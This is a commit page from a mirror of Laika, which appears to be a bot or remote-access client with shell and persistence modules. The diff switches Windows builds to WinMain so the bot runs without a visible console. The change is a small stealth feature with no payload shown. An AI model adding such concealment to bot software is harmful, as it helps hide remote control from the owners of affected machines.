1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-11 18:30:08 +00:00

Bot: windows builds no longer open a console

This commit is contained in:
2022-05-15 18:14:29 -05:00
parent 134f1fee37
commit 7f587f3df2
3 changed files with 7 additions and 28 deletions

View File

@@ -7,7 +7,11 @@
#include "shell.h"
#include "persist.h"
int main(int argv, char *argc[]) {
#ifdef _WIN32
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
#else
int main() {
#endif
struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE